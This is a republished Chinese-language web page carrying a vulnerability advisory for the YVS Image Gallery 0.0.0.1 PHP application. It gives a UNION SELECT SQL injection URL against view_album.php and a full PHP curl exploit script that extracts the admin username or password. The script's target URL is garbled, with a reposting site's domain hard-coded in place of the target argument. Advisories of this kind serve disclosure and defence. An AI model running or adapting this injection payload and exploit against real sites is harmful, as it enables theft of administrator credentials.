网站地图    收藏   

主页 > 后端 > 网站安全 >

YVS Image Gallery Sql注射及修复 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 应用程序: YVS Image Gallery影响版本: 0.0.0.1开发者网站: http://yvs.vacau.com/gallery.html测试平台: Windows\Linux\Unix缺陷类型: Sql INJECTIONS利用: Remote作者: Corrado Liotta Aka Corry......

应用程序: YVS Image Gallery
影响版本: 0.0.0.1
开发者网站: http://yvs.vacau.com/gallery.html
测试平台: Windows\Linux\Unix
缺陷类型: Sql INJECTIONS
利用: Remote
作者: Corrado Liotta Aka CorryL www.2cto.com corryl80[at]gmail[dot]com ~
 ...::[概述]::..
This is a small database driven gallery created to be implemented
within your existing site.
The coding is reasonably straight forward and can be easily moved into
your existing development
by anyone with basic understanding of PHP.
Only a first attempt at the system has a long way to go,
but it provides you with all the necessary tools to run your own
picture gallery,
such as uploading of multiple images and creation of thumbnails.
The gallery is distributed as free-ware but if you decide to use it in
any business or just decide that it's worth it,
any donations will be greatly appreciated. details will be made available soon.
...::[ 缺陷漏洞]::..
exploiting this bug a remote attaker is able' to go up again to user
name and admin password
...::[ 测试证明]::..
http://www.2cto.com /image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20username%20FROM%20user
...::[ 黎元洪]::..
#!/usr/bin/php -f
<?php
#
# view_album.php curl exploit
#
// Created by Corrado Liotta Aka CorryL
// For educational only
// use php exploit.php 127.0.0.1 username for admin username o
password for admin password
$target = $argv[1];
$info = $argv[2];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL,
"http:// www.2cto.com /image_gallery/view_album.php?album_id=-1%20UNION%20%20SELECT%20$info%20FROM%20user");
curl_setopt($ch, CURLOPT_HTTPGET, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>
..::[ Disclousure Timeline ]:
 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论